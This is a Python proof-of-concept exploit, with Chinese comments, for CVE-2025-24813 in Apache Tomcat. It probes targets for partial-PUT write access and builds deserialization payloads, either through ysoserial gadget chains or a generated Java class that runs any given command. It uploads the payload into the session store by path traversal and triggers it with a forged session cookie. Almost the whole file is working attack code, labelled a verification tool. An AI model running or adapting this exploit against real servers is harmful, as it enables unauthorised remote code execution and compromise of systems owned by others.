import argparse
import os
import re
import requests
import subprocess
import sys
from urllib3.exceptions import InsecureRequestWarning  # 修复：直接从urllib3导入

# 忽略HTTPS请求中的不安全警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 定义程序的banner
BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    """
    尝试删除指定文件路径的文件。

    参数:
    - file_path: 待删除的文件路径。
    """
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    """
    检查目标URL是否可以通过PUT方法写入。

    参数:
    - target_url: 目标服务器的URL。
    - host: 目标服务器的主机名。
    - port: 目标服务器的端口号。
    - verify_ssl: 是否验证SSL证书，默认为True。

    返回:
    - 如果服务器可写，返回True；否则返回False。
    """
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] 服务器可通过PUT写入: {check_file}")
            return True
        else:
            print(f"[-] 服务器不可写 (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] 检查过程中出错: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    """
    使用ysoserial生成指定命令的序列化payload。

    参数:
    - command: 需要执行的命令。
    - ysoserial_path: ysoserial.jar的路径。
    - gadget: ysoserial的gadget名称。
    - payload_file: 生成的payload文件路径。

    返回:
    - 生成的payload文件路径。
    """
    if not os.path.exists(ysoserial_path):
        print(f"[-] 错误: {ysoserial_path} 未找到。")
        sys.exit(1)
    try:
        print(f"[*] 正在为命令生成 ysoserial payload: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload 生成成功: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] 生成 payload 时出错: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    """
    生成Java类形式的payload。

    参数:
    - command: 需要执行的命令。
    - payload_file: 生成的payload文件路径。

    返回:
    - 生成的payload文件路径。
    """
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] 正在为命令生成 Java payload: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload 生成成功: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] 生成 Java payload 时出错: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    """
    上传payload并验证执行结果。

    参数:
    - target_url: 目标服务器的URL。
    - host: 目标服务器的主机名。
    - port: 目标服务器的端口号。
    - session_id: 会话ID，用于构造payload的文件名。
    - payload_file: 生成的payload文件路径。
    - verify_ssl: 是否验证SSL证书，默认为True。

    返回:
    - 如果payload执行成功，返回True；否则返回False。
    """
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload 上传成功，状态码 409 (冲突): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] 利用成功！反序列化后服务器返回了 500 状态码。")
                return True
            else:
                print(f"[-] 利用失败。GET 请求返回 HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload 上传失败: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] 上传/验证过程中出错: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] 找不到 payload 文件: {payload_file}")
        return False


# 获取会话ID的函数
def get_session_id(target_url, verify_ssl=True):
    """
    尝试访问目标URL以获取会话ID。

    参数:
    target_url (str): 目标网站的URL。
    verify_ssl (bool): 是否验证SSL证书。

    返回:
    str: 获取到的会话ID，如果未找到则返回默认值。
    """
    try:
        # 发起HTTP请求获取网页内容
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        # 检查响应中的Cookies是否包含JSESSIONID
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        # 通过正则表达式在网页内容中搜索Session ID
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            # 如果未找到Session ID，打印消息并返回默认值
            print(f"[-] 在响应中未找到 Session ID。使用默认 Session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        # 请求异常时，打印错误消息并退出程序
        print(f"[-] 获取 Session ID 时出错: {str(e)}")
        sys.exit(1)


# 检查目标是否易受攻击的函数
def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    """
    检查目标URL是否易受CVE-2025-24813漏洞的攻击。

    参数:
    target_url (str): 目标网站的URL。
    command (str): 要执行的命令。
    ysoserial_path (str): ysoserial.jar的路径。
    gadget (str): ysoserial的gadget链。
    payload_type (str): 有效载荷类型（ysoserial或java）。
    verify_ssl (bool): 是否验证SSL证书。
    """
    # 提取URL中的主机名和端口号
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    # 获取会话ID
    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] 会话ID: {session_id}")

    # 检查是否有可写的Servlet
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        # 根据payload类型生成恶意序列化文件
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] 无效的 payload 类型: {payload_type}")
            return

        # 上传并验证恶意序列化文件
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] 目标 {target_url} 存在 CVE-2025-24813 漏洞!")
        else:
            print(f"[-] 目标 {target_url} 不易受攻击或利用失败。")

        # 删除生成的序列化文件
        remove_file(payload_file)


# 主函数
def main():
    """
    程序的入口点，解析命令行参数并调用check_target函数。
    """
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE 漏洞验证工具")
    parser.add_argument("target", help="目标URL (例如: http://localhost:8081 或 https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="要执行的命令")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="ysoserial.jar 的路径")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget链")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial",
                        help="Payload 类型 (ysoserial 或 java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="禁用SSL证书验证")
    args = parser.parse_args()

    # 调用check_target函数检查目标是否易受攻击
    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)


if __name__ == "__main__":
    main()
